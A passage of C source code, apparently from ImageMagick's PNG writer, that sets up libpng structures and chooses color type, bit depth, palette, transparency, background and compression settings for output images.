number_colors=0;\n image_colors=(int) image->colors;\n image_matte=image->alpha_trait !=\n UndefinedPixelTrait ? MagickTrue : MagickFalse;\n\n if (mng_info->write_png_colortype < 5)\n mng_info->IsPalette=image->storage_class == PseudoClass &&\n image_colors <= 256 && image->colormap != NULL;\n else\n mng_info->IsPalette = MagickFalse;\n\n if ((mng_info->write_png_colortype == 4 || mng_info->write_png8) &&\n (image->colors == 0 || image->colormap == NULL))\n {\n image_info=DestroyImageInfo(image_info);\n image=DestroyImage(image);\n (void) ThrowMagickException(exception,GetMagickModule(),CoderError,\n \"Cannot write PNG8 or color-type 3; colormap is NULL\",\n \"`%s'\",IMimage->filename);\n return(MagickFalse);\n }\n\n /*\n Allocate the PNG structures\n */\n#ifdef PNG_USER_MEM_SUPPORTED\n error_info.image=image;\n error_info.exception=exception;\n ping=png_create_write_struct_2(PNG_LIBPNG_VER_STRING,&error_info,\n MagickPNGErrorHandler,MagickPNGWarningHandler,(void *) NULL,\n (png_malloc_ptr) Magick_png_malloc,(png_free_ptr) Magick_png_free);\n\n#else\n ping=png_create_write_struct(PNG_LIBPNG_VER_STRING,&error_info,\n MagickPNGErrorHandler,MagickPNGWarningHandler);\n\n#endif\n if (ping == (png_struct *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n\n ping_info=png_create_info_struct(ping);\n\n if (ping_info == (png_info *) NULL)\n {\n png_destroy_write_struct(&ping,(png_info **) NULL);\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n\n png_set_write_fn(ping,image,png_put_data,png_flush_data);\n pixel_info=(MemoryInfo *) NULL;\n\n if (setjmp(png_jmpbuf(ping)))\n {\n /*\n PNG write failed.\n */\n#ifdef PNG_DEBUG\n if (image_info->verbose)\n (void) printf(\"PNG write has failed.\\n\");\n#endif\n png_destroy_write_struct(&ping,&ping_info);\n#ifdef IMPNG_SETJMP_NOT_THREAD_SAFE\n UnlockSemaphoreInfo(ping_semaphore);\n#endif\n\n if (pixel_info != (MemoryInfo *) NULL)\n pixel_info=RelinquishVirtualMemory(pixel_info);\n\n if (quantum_info != (QuantumInfo *) NULL)\n quantum_info=DestroyQuantumInfo(quantum_info);\n\n if (ping_have_blob != MagickFalse)\n (void) CloseBlob(image);\n image_info=DestroyImageInfo(image_info);\n image=DestroyImage(image);\n return(MagickFalse);\n }\n\n /* { For navigation to end of SETJMP-protected block. Within this\n * block, use png_error() instead of Throwing an Exception, to ensure\n * that libpng is able to clean up, and that the semaphore is unlocked.\n */\n\n#ifdef IMPNG_SETJMP_NOT_THREAD_SAFE\n LockSemaphoreInfo(ping_semaphore);\n#endif\n\n#ifdef PNG_BENIGN_ERRORS_SUPPORTED\n /* Allow benign errors */\n png_set_benign_errors(ping, 1);\n#endif\n\n#ifdef PNG_SET_USER_LIMITS_SUPPORTED\n /* Reject images with too many rows or columns */\n png_set_user_limits(ping,\n (png_uint_32) MagickMin(0x7fffffffL,\n GetMagickResourceLimit(WidthResource)),\n (png_uint_32) MagickMin(0x7fffffffL,\n GetMagickResourceLimit(HeightResource)));\n#endif /* PNG_SET_USER_LIMITS_SUPPORTED */\n\n /*\n Prepare PNG for writing.\n */\n\n#if defined(PNG_MNG_FEATURES_SUPPORTED)\n if (mng_info->write_mng)\n {\n (void) png_permit_mng_features(ping,PNG_ALL_MNG_FEATURES);\n# ifdef PNG_WRITE_CHECK_FOR_INVALID_INDEX_SUPPORTED\n /* Disable new libpng-1.5.10 feature when writing a MNG because\n * zero-length PLTE is OK\n */\n png_set_check_for_invalid_index (ping, 0);\n# endif\n }\n\n#else\n# ifdef PNG_WRITE_EMPTY_PLTE_SUPPORTED\n if (mng_info->write_mng)\n png_permit_empty_plte(ping,MagickTrue);\n\n# endif\n#endif\n\n x=0;\n\n ping_width=(png_uint_32) image->columns;\n ping_height=(png_uint_32) image->rows;\n\n if (mng_info->write_png8 || mng_info->write_png24 || mng_info->write_png32)\n image_depth=8;\n\n if (mng_info->write_png48 || mng_info->write_png64)\n image_depth=16;\n\n if (mng_info->write_png_depth != 0)\n image_depth=mng_info->write_png_depth;\n\n /* Adjust requested depth to next higher valid depth if necessary */\n if (image_depth > 8)\n image_depth=16;\n\n if ((image_depth > 4) && (image_depth < 8))\n image_depth=8;\n\n if (image_depth == 3)\n image_depth=4;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" width=%.20g\",(double) ping_width);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" height=%.20g\",(double) ping_height);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image_matte=%.20g\",(double) image->alpha_trait);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->depth=%.20g\",(double) image->depth);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Tentative ping_bit_depth=%.20g\",(double) image_depth);\n }\n\n save_image_depth=image_depth;\n ping_bit_depth=(png_byte) save_image_depth;\n\n\n#if defined(PNG_pHYs_SUPPORTED)\n if (ping_exclude_pHYs == MagickFalse)\n {\n if ((image->resolution.x != 0) && (image->resolution.y != 0) &&\n (!mng_info->write_mng || !mng_info->equal_physs))\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up pHYs chunk\");\n\n if (image->units == PixelsPerInchResolution)\n {\n ping_pHYs_unit_type=PNG_RESOLUTION_METER;\n ping_pHYs_x_resolution=\n (png_uint_32) ((100.0*image->resolution.x+0.5)/2.54);\n ping_pHYs_y_resolution=\n (png_uint_32) ((100.0*image->resolution.y+0.5)/2.54);\n }\n\n else if (image->units == PixelsPerCentimeterResolution)\n {\n ping_pHYs_unit_type=PNG_RESOLUTION_METER;\n ping_pHYs_x_resolution=(png_uint_32) (100.0*image->resolution.x+0.5);\n ping_pHYs_y_resolution=(png_uint_32) (100.0*image->resolution.y+0.5);\n }\n\n else\n {\n ping_pHYs_unit_type=PNG_RESOLUTION_UNKNOWN;\n ping_pHYs_x_resolution=(png_uint_32) image->resolution.x;\n ping_pHYs_y_resolution=(png_uint_32) image->resolution.y;\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Set up PNG pHYs chunk: xres: %.20g, yres: %.20g, units: %d.\",\n (double) ping_pHYs_x_resolution,(double) ping_pHYs_y_resolution,\n (int) ping_pHYs_unit_type);\n ping_have_pHYs = MagickTrue;\n }\n }\n#endif\n\n if (ping_exclude_bKGD == MagickFalse)\n {\n if ((!mng_info->adjoin || !mng_info->equal_backgrounds))\n {\n unsigned int\n mask;\n\n mask=0xffff;\n if (ping_bit_depth == 8)\n mask=0x00ff;\n\n if (ping_bit_depth == 4)\n mask=0x000f;\n\n if (ping_bit_depth == 2)\n mask=0x0003;\n\n if (ping_bit_depth == 1)\n mask=0x0001;\n\n ping_background.red=(png_uint_16)\n (ScaleQuantumToShort(image->background_color.red) & mask);\n\n ping_background.green=(png_uint_16)\n (ScaleQuantumToShort(image->background_color.green) & mask);\n\n ping_background.blue=(png_uint_16)\n (ScaleQuantumToShort(image->background_color.blue) & mask);\n\n ping_background.gray=(png_uint_16) ping_background.green;\n }\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up bKGD chunk (1)\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background_color index is %d\",\n (int) ping_background.index);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" ping_bit_depth=%d\",ping_bit_depth);\n }\n\n ping_have_bKGD = MagickTrue;\n }\n\n /*\n Select the color type.\n */\n matte=image_matte;\n old_bit_depth=0;\n\n if (mng_info->IsPalette && mng_info->write_png8)\n {\n /* To do: make this a function cause it's used twice, except\n for reducing the sample depth from 8. */\n\n number_colors=image_colors;\n\n ping_have_tRNS=MagickFalse;\n\n /*\n Set image palette.\n */\n ping_color_type=(png_byte) PNG_COLOR_TYPE_PALETTE;\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up PLTE chunk with %d colors (%d)\",\n number_colors, image_colors);\n\n for (i=0; i < (ssize_t) number_colors; i++)\n {\n palette[i].red=ScaleQuantumToChar(image->colormap[i].red);\n palette[i].green=ScaleQuantumToChar(image->colormap[i].green);\n palette[i].blue=ScaleQuantumToChar(image->colormap[i].blue);\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n#if MAGICKCORE_QUANTUM_DEPTH == 8\n \" %3ld (%3d,%3d,%3d)\",\n#else\n \" %5ld (%5d,%5d,%5d)\",\n#endif\n (long) i,palette[i].red,palette[i].green,palette[i].blue);\n\n }\n\n ping_have_PLTE=MagickTrue;\n image_depth=ping_bit_depth;\n ping_num_trans=0;\n\n if (matte != MagickFalse)\n {\n /*\n Identify which colormap entry is transparent.\n */\n assert(number_colors <= 256);\n assert(image->colormap != NULL);\n\n for (i=0; i < (ssize_t) number_transparent; i++)\n ping_trans_alpha[i]=0;\n\n\n ping_num_trans=(unsigned short) (number_transparent +\n number_semitransparent);\n\n if (ping_num_trans == 0)\n ping_have_tRNS=MagickFalse;\n\n else\n ping_have_tRNS=MagickTrue;\n }\n\n if (ping_exclude_bKGD == MagickFalse)\n {\n /*\n * Identify which colormap entry is the background color.\n */\n\n for (i=0; i < (ssize_t) MagickMax(1L*number_colors-1L,1L); i++)\n if (IsPNGColorEqual(ping_background,image->colormap[i]))\n break;\n\n ping_background.index=(png_byte) i;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background_color index is %d\",\n (int) ping_background.index);\n }\n }\n } /* end of write_png8 */\n\n else if (mng_info->write_png_colortype == 1)\n {\n image_matte=MagickFalse;\n ping_color_type=(png_byte) PNG_COLOR_TYPE_GRAY;\n }\n\n else if (mng_info->write_png24 || mng_info->write_png48 ||\n mng_info->write_png_colortype == 3)\n {\n image_matte=MagickFalse;\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB;\n }\n\n else if (mng_info->write_png32 || mng_info->write_png64 ||\n mng_info->write_png_colortype == 7)\n {\n image_matte=MagickTrue;\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB_ALPHA;\n }\n\n else /* mng_info->write_pngNN not specified */\n {\n image_depth=ping_bit_depth;\n\n if (mng_info->write_png_colortype != 0)\n {\n ping_color_type=(png_byte) mng_info->write_png_colortype-1;\n\n if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA ||\n ping_color_type == PNG_COLOR_TYPE_RGB_ALPHA)\n image_matte=MagickTrue;\n\n else\n image_matte=MagickFalse;\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PNG colortype %d was specified:\",(int) ping_color_type);\n }\n\n else /* write_png_colortype not specified */\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Selecting PNG colortype:\");\n\n if (image_info->type == TrueColorType)\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB;\n image_matte=MagickFalse;\n }\n else if (image_info->type == TrueColorAlphaType)\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB_ALPHA;\n image_matte=MagickTrue;\n }\n else if (image_info->type == PaletteType ||\n image_info->type == PaletteAlphaType)\n ping_color_type=(png_byte) PNG_COLOR_TYPE_PALETTE;\n else\n {\n if (ping_have_color == MagickFalse)\n {\n if (image_matte == MagickFalse)\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_GRAY;\n image_matte=MagickFalse;\n }\n\n else\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_GRAY_ALPHA;\n image_matte=MagickTrue;\n }\n }\n else\n {\n if (image_matte == MagickFalse)\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGB;\n image_matte=MagickFalse;\n }\n\n else\n {\n ping_color_type=(png_byte) PNG_COLOR_TYPE_RGBA;\n image_matte=MagickTrue;\n }\n }\n }\n\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Selected PNG colortype=%d\",ping_color_type);\n\n if (ping_bit_depth < 8)\n {\n if (ping_color_type == PNG_COLOR_TYPE_GRAY_ALPHA ||\n ping_color_type == PNG_COLOR_TYPE_RGB ||\n ping_color_type == PNG_COLOR_TYPE_RGB_ALPHA)\n ping_bit_depth=8;\n }\n\n old_bit_depth=ping_bit_depth;\n\n if (ping_color_type == PNG_COLOR_TYPE_GRAY)\n {\n if (image->alpha_trait == UndefinedPixelTrait &&\n ping_have_non_bw == MagickFalse)\n ping_bit_depth=1;\n }\n\n if (ping_color_type == PNG_COLOR_TYPE_PALETTE)\n {\n size_t one = 1;\n ping_bit_depth=1;\n\n if (image->colors == 0)\n {\n /* DO SOMETHING */\n png_error(ping,\"image has 0 colors\");\n }\n\n while ((int) (one << ping_bit_depth) < (ssize_t) image_colors)\n ping_bit_depth <<= 1;\n }\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Number of colors: %.20g\",(double) image_colors);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Tentative PNG bit depth: %d\",ping_bit_depth);\n }\n\n if (ping_bit_depth < (int) mng_info->write_png_depth)\n ping_bit_depth = mng_info->write_png_depth;\n }\n (void) old_bit_depth;\n image_depth=ping_bit_depth;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Tentative PNG color type: %s (%.20g)\",\n PngColorTypeToString(ping_color_type),\n (double) ping_color_type);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image_info->type: %.20g\",(double) image_info->type);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image_depth: %.20g\",(double) image_depth);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n\n \" image->depth: %.20g\",(double) image->depth);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" ping_bit_depth: %.20g\",(double) ping_bit_depth);\n }\n\n if (matte != MagickFalse)\n {\n if (mng_info->IsPalette)\n {\n if (mng_info->write_png_colortype == 0)\n {\n ping_color_type=PNG_COLOR_TYPE_GRAY_ALPHA;\n\n if (ping_have_color != MagickFalse)\n ping_color_type=PNG_COLOR_TYPE_RGBA;\n }\n\n /*\n * Determine if there is any transparent color.\n */\n if (number_transparent + number_semitransparent == 0)\n {\n /*\n No transparent pixels are present. Change 4 or 6 to 0 or 2.\n */\n\n image_matte=MagickFalse;\n\n if (mng_info->write_png_colortype == 0)\n ping_color_type&=0x03;\n }\n\n else\n {\n unsigned int\n mask;\n\n mask=0xffff;\n\n if (ping_bit_depth == 8)\n mask=0x00ff;\n\n if (ping_bit_depth == 4)\n mask=0x000f;\n\n if (ping_bit_depth == 2)\n mask=0x0003;\n\n if (ping_bit_depth == 1)\n mask=0x0001;\n\n ping_trans_color.red=(png_uint_16)\n (ScaleQuantumToShort(image->colormap[0].red) & mask);\n\n ping_trans_color.green=(png_uint_16)\n (ScaleQuantumToShort(image->colormap[0].green) & mask);\n\n ping_trans_color.blue=(png_uint_16)\n (ScaleQuantumToShort(image->colormap[0].blue) & mask);\n\n ping_trans_color.gray=(png_uint_16)\n (ScaleQuantumToShort(GetPixelInfoIntensity(image,\n image->colormap)) & mask);\n\n ping_trans_color.index=(png_byte) 0;\n\n ping_have_tRNS=MagickTrue;\n }\n\n if (ping_have_tRNS != MagickFalse)\n {\n /*\n * Determine if there is one and only one transparent color\n * and if so if it is fully transparent.\n */\n if (ping_have_cheap_transparency == MagickFalse)\n ping_have_tRNS=MagickFalse;\n }\n\n if (ping_have_tRNS != MagickFalse)\n {\n if (mng_info->write_png_colortype == 0)\n ping_color_type &= 0x03; /* changes 4 or 6 to 0 or 2 */\n\n if (image_depth == 8)\n {\n ping_trans_color.red&=0xff;\n ping_trans_color.green&=0xff;\n ping_trans_color.blue&=0xff;\n ping_trans_color.gray&=0xff;\n }\n }\n }\n else\n {\n if (image_depth == 8)\n {\n ping_trans_color.red&=0xff;\n ping_trans_color.green&=0xff;\n ping_trans_color.blue&=0xff;\n ping_trans_color.gray&=0xff;\n }\n }\n }\n\n matte=image_matte;\n\n if (ping_have_tRNS != MagickFalse)\n image_matte=MagickFalse;\n\n if ((mng_info->IsPalette) &&\n mng_info->write_png_colortype-1 != PNG_COLOR_TYPE_PALETTE &&\n ping_have_color == MagickFalse &&\n (image_matte == MagickFalse || image_depth >= 8))\n {\n size_t one=1;\n\n if (image_matte != MagickFalse)\n ping_color_type=PNG_COLOR_TYPE_GRAY_ALPHA;\n\n else if (mng_info->write_png_colortype-1 != PNG_COLOR_TYPE_GRAY_ALPHA)\n {\n ping_color_type=PNG_COLOR_TYPE_GRAY;\n\n if (save_image_depth == 16 && image_depth == 8)\n {\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Scaling ping_trans_color (0)\");\n }\n ping_trans_color.gray*=0x0101;\n }\n }\n\n if (image_depth > MAGICKCORE_QUANTUM_DEPTH)\n image_depth=MAGICKCORE_QUANTUM_DEPTH;\n\n if ((image_colors == 0) ||\n ((ssize_t) (image_colors-1) > (ssize_t) MaxColormapSize))\n image_colors=(int) (one << image_depth);\n\n if (image_depth > 8)\n ping_bit_depth=16;\n\n else\n {\n ping_bit_depth=8;\n if ((int) ping_color_type == PNG_COLOR_TYPE_PALETTE)\n {\n if(!mng_info->write_png_depth)\n {\n ping_bit_depth=1;\n\n while ((int) (one << ping_bit_depth)\n < (ssize_t) image_colors)\n ping_bit_depth <<= 1;\n }\n }\n\n else if (ping_color_type ==\n PNG_COLOR_TYPE_GRAY && image_colors < 17 &&\n mng_info->IsPalette)\n {\n /* Check if grayscale is reducible */\n\n int\n depth_4_ok=MagickTrue,\n depth_2_ok=MagickTrue,\n depth_1_ok=MagickTrue;\n\n for (i=0; i < (ssize_t) image_colors; i++)\n {\n unsigned char\n intensity;\n\n intensity=ScaleQuantumToChar(image->colormap[i].red);\n\n if ((intensity & 0x0f) != ((intensity & 0xf0) >> 4))\n depth_4_ok=depth_2_ok=depth_1_ok=MagickFalse;\n else if ((intensity & 0x03) != ((intensity & 0x0c) >> 2))\n depth_2_ok=depth_1_ok=MagickFalse;\n else if ((intensity & 0x01) != ((intensity & 0x02) >> 1))\n depth_1_ok=MagickFalse;\n }\n\n if (depth_1_ok && mng_info->write_png_depth <= 1)\n ping_bit_depth=1;\n\n else if (depth_2_ok && mng_info->write_png_depth <= 2)\n ping_bit_depth=2;\n\n else if (depth_4_ok && mng_info->write_png_depth <= 4)\n ping_bit_depth=4;\n }\n }\n\n image_depth=ping_bit_depth;\n }\n\n else\n\n if (mng_info->IsPalette)\n {\n number_colors=image_colors;\n\n if (image_depth <= 8)\n {\n /*\n Set image palette.\n */\n ping_color_type=(png_byte) PNG_COLOR_TYPE_PALETTE;\n\n if (!(mng_info->have_write_global_plte && matte == MagickFalse))\n {\n for (i=0; i < (ssize_t) number_colors; i++)\n {\n palette[i].red=ScaleQuantumToChar(image->colormap[i].red);\n palette[i].green=\n ScaleQuantumToChar(image->colormap[i].green);\n palette[i].blue=ScaleQuantumToChar(image->colormap[i].blue);\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up PLTE chunk with %d colors\",\n number_colors);\n\n ping_have_PLTE=MagickTrue;\n }\n\n /* color_type is PNG_COLOR_TYPE_PALETTE */\n if (mng_info->write_png_depth == 0)\n {\n size_t\n one;\n\n ping_bit_depth=1;\n one=1;\n\n while ((one << ping_bit_depth) < (size_t) number_colors)\n ping_bit_depth <<= 1;\n }\n\n ping_num_trans=0;\n\n if (matte != MagickFalse)\n {\n /*\n * Set up trans_colors array.\n */\n assert(number_colors <= 256);\n\n ping_num_trans=(unsigned short) (number_transparent +\n number_semitransparent);\n\n if (ping_num_trans == 0)\n ping_have_tRNS=MagickFalse;\n\n else\n {\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Scaling ping_trans_color (1)\");\n }\n ping_have_tRNS=MagickTrue;\n\n for (i=0; i < ping_num_trans; i++)\n {\n ping_trans_alpha[i]= (png_byte)\n ScaleQuantumToChar(image->colormap[i].alpha);\n }\n }\n }\n }\n }\n\n else\n {\n\n if (image_depth < 8)\n image_depth=8;\n\n if ((save_image_depth == 16) && (image_depth == 8))\n {\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Scaling ping_trans_color from (%d,%d,%d)\",\n (int) ping_trans_color.red,\n (int) ping_trans_color.green,\n (int) ping_trans_color.blue);\n }\n\n ping_trans_color.red*=0x0101;\n ping_trans_color.green*=0x0101;\n ping_trans_color.blue*=0x0101;\n ping_trans_color.gray*=0x0101;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" to (%d,%d,%d)\",\n (int) ping_trans_color.red,\n (int) ping_trans_color.green,\n (int) ping_trans_color.blue);\n }\n }\n }\n\n if (ping_bit_depth < (ssize_t) mng_info->write_png_depth)\n ping_bit_depth = (ssize_t) mng_info->write_png_depth;\n\n /*\n Adjust background and transparency samples in sub-8-bit grayscale files.\n */\n if (ping_bit_depth < 8 && ping_color_type ==\n PNG_COLOR_TYPE_GRAY)\n {\n png_uint_16\n maxval;\n\n size_t\n one=1;\n\n maxval=(png_uint_16) ((one << ping_bit_depth)-1);\n\n if (ping_exclude_bKGD == MagickFalse)\n {\n\n ping_background.gray=(png_uint_16) ((maxval/65535.)*\n (ScaleQuantumToShort(((GetPixelInfoIntensity(image,\n &image->background_color))) +.5)));\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up bKGD chunk (2)\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background_color index is %d\",\n (int) ping_background.index);\n\n ping_have_bKGD = MagickTrue;\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Scaling ping_trans_color.gray from %d\",\n (int)ping_trans_color.gray);\n\n ping_trans_color.gray=(png_uint_16) ((maxval/255.)*(\n ping_trans_color.gray)+.5);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" to %d\", (int)ping_trans_color.gray);\n }\n\n if (ping_exclude_bKGD == MagickFalse)\n {\n if (mng_info->IsPalette && (int) ping_color_type == PNG_COLOR_TYPE_PALETTE)\n {\n /*\n Identify which colormap entry is the background color.\n */\n\n number_colors=image_colors;\n\n for (i=0; i < (ssize_t) MagickMax(1L*number_colors,1L); i++)\n if (IsPNGColorEqual(image->background_color,image->colormap[i]))\n break;\n\n ping_background.index=(png_byte) i;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up bKGD chunk with index=%d\",(int) i);\n }\n\n if (i < (ssize_t) number_colors)\n {\n ping_have_bKGD = MagickTrue;\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" background =(%d,%d,%d)\",\n (int) ping_background.red,\n (int) ping_background.green,\n (int) ping_background.blue);\n }\n }\n\n else /* Can't happen */\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" No room in PLTE to add bKGD color\");\n ping_have_bKGD = MagickFalse;\n }\n }\n }\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" PNG color type: %s (%d)\", PngColorTypeToString(ping_color_type),\n ping_color_type);\n /*\n Initialize compression level and filtering.\n */\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up deflate compression\");\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression buffer size: 32768\");\n }\n\n png_set_compression_buffer_size(ping,32768L);\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression mem level: 9\");\n\n png_set_compression_mem_level(ping, 9);\n\n /* Untangle the \"-quality\" setting:\n\n Undefined is 0; the default is used.\n Default is 75\n\n 10's digit:\n\n 0 or omitted: Use Z_HUFFMAN_ONLY strategy with the\n zlib default compression level\n\n 1-9: the zlib compression level\n\n 1's digit:\n\n 0-4: the PNG filter method\n\n 5: libpng adaptive filtering if compression level > 5\n libpng filter type \"none\" if compression level <= 5\n or if image is grayscale or palette\n\n 6: libpng adaptive filtering\n\n 7: \"LOCO\" filtering (intrapixel differing) if writing\n a MNG, otherwise \"none\". Did not work in IM-6.7.0-9\n and earlier because of a missing \"else\".\n\n 8: Z_RLE strategy (or Z_HUFFMAN_ONLY if quality < 10), adaptive\n filtering. Unused prior to IM-6.7.0-10, was same as 6\n\n 9: Z_RLE strategy (or Z_HUFFMAN_ONLY if quality < 10), no PNG filters\n Unused prior to IM-6.7.0-10, was same as 6\n\n Note that using the -quality option, not all combinations of\n PNG filter type, zlib compression level, and zlib compression\n strategy are possible. This will be addressed soon in a\n release that accomodates \"-define png:compression-strategy\", etc.\n\n */\n\n quality=image_info->quality == UndefinedCompressionQuality ? 75UL :\n image_info->quality;\n\n if (quality <= 9)\n {\n if (mng_info->write_png_compression_strategy == 0)\n mng_info->write_png_compression_strategy = Z_HUFFMAN_ONLY+1;\n }\n\n else if (mng_info->write_png_compression_level == 0)\n {\n int\n level;\n\n level=(int) MagickMin((ssize_t) quality/10,9);\n\n mng_info->write_png_compression_level = level+1;\n }\n\n if (mng_info->write_png_compression_strategy == 0)\n {\n if ((quality %10) == 8 || (quality %10) == 9)\n#ifdef Z_RLE /* Z_RLE was added to zlib-1.2.0 */\n mng_info->write_png_compression_strategy=Z_RLE+1;\n#else\n mng_info->write_png_compression_strategy = Z_DEFAULT_STRATEGY+1;\n#endif\n }\n\n if (mng_info->write_png_compression_filter == 0)\n mng_info->write_png_compression_filter=((int) quality % 10) + 1;\n\n if (logging != MagickFalse)\n {\n if (mng_info->write_png_compression_level)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression level: %d\",\n (int) mng_info->write_png_compression_level-1);\n\n if (mng_info->write_png_compression_strategy)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Compression strategy: %d\",\n (int) mng_info->write_png_compression_strategy-1);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Setting up filtering\");\n\n if (mng_info->write_png_compression_filter == 6)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Base filter method: ADAPTIVE\");\n else if (mng_info->write_png_compression_filter == 0 ||\n mng_info->write_png_compression_filter == 1)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Base filter method: NONE\");\n else\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Base filter method: %d\",\n (int) mng_info->write_png_compression_filter-1);\n }\n\n if (mng_info->write_png_compression_level != 0)\n png_set_compression_level(ping,mng_info->write_png_compression_level-1);\n\n if (mng_info->write_png_compression_filter == 6)\n {\n if (((int) ping_color_type == PNG_COLOR_TYPE_GRAY) ||\n ((int) ping_color_type == PNG_COLOR_TYPE_PALETTE) ||\n (quality < 50))\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_NO_FILTERS);\n else\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_ALL_FILTERS);\n }\n else if (mng_info->write_png_compression_filter == 7 ||\n mng_info->write_png_compression_filter == 10)\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_ALL_FILTERS);\n\n else if (mng_info->write_png_compression_filter == 8)\n {\n#if defined(PNG_MNG_FEATURES_SUPPORTED) && defined(PNG_INTRAPIXEL_DIFFERENCING)\n if (mng_info->write_mng)\n {\n if (((int) ping_color_type == PNG_COLOR_TYPE_RGB) ||\n ((int) ping_color_type == PNG_COLOR_TYPE_RGBA))\n ping_filter_method=PNG_INTRAPIXEL_DIFFERENCING;\n }\n#endif\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_NO_FILTERS);\n }\n\n else if (mng_info->write_png_compression_filter == 9)\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,PNG_NO_FILTERS);\n\n else if (mng_info->write_png_compression_filter != 0)\n png_set_filter(ping,PNG_FILTER_TYPE_BASE,\n mng_info->write_png_compression_filter-1);\n\n if (mng_info->write_png_compression_strategy != 0)\n png_set_compression_strategy(ping,\n mng_info->write_png_compression_strategy-1);\n\n ping_interlace_method=image_info->interlace != NoInterlace;\n\n if (mng_info->write_mng)\n png_set_sig_bytes(ping,8);\n\n /* Bail out if cannot meet defined png:bit-depth or png:color-type */\n\n if (mng_info->write_png_colortype != 0)\n {\n if (mng_info->write_png_colortype-1 == PNG_COLOR_TYPE_GRAY)\n if (ping_have_color != MagickFalse)\n {\n ping_color_type = PNG_COLOR_TYPE_RGB;\n\n if (ping_bit_depth < 8)\n ping_bit_depth=8;\n }\n\n if (mng_info->write_png_colortype-1 == PNG_COLOR_TYPE_GRAY_ALPHA)\n if (ping_have_color != MagickFalse)\n ping_color_type = PNG_COLOR_TYPE_RGB_ALPHA;\n }\n\n if (ping_need_colortype_warning != MagickFalse ||\n ((mng_info->write_png_depth &&\n (int) mng_info->write_png_depth != ping_bit_depth) ||\n (mng_info->write_png_colortype &&\n ((int) mng_info->write_png_colortype-1 != ping_color_type &&\n mng_info->write_png_colortype != 7 &&\n !(mng_info->write_png_colortype == 5 && ping_color_type == 0)))))\n {\n if (logging != MagickFalse)\n {\n if 